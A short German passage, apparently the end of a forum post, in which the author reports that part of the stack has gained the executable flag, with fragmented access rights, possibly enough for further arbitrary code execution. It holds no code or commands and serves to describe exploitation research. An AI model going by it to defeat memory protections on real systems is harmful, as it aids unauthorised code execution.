Siehe da der Stack hat nun das executable Flag gesetzt... naja zumindest ein Teil davon. Offensichtlich wurden dabei die Zugriffsrechte des Ursprünglichen Stack Bereichs fragmentiert. Möglicherweise reicht dies aber aus um weitere benutzerdefinierte Codeausführung zu gestallten.

TBC
 
Zurück
Oben Unten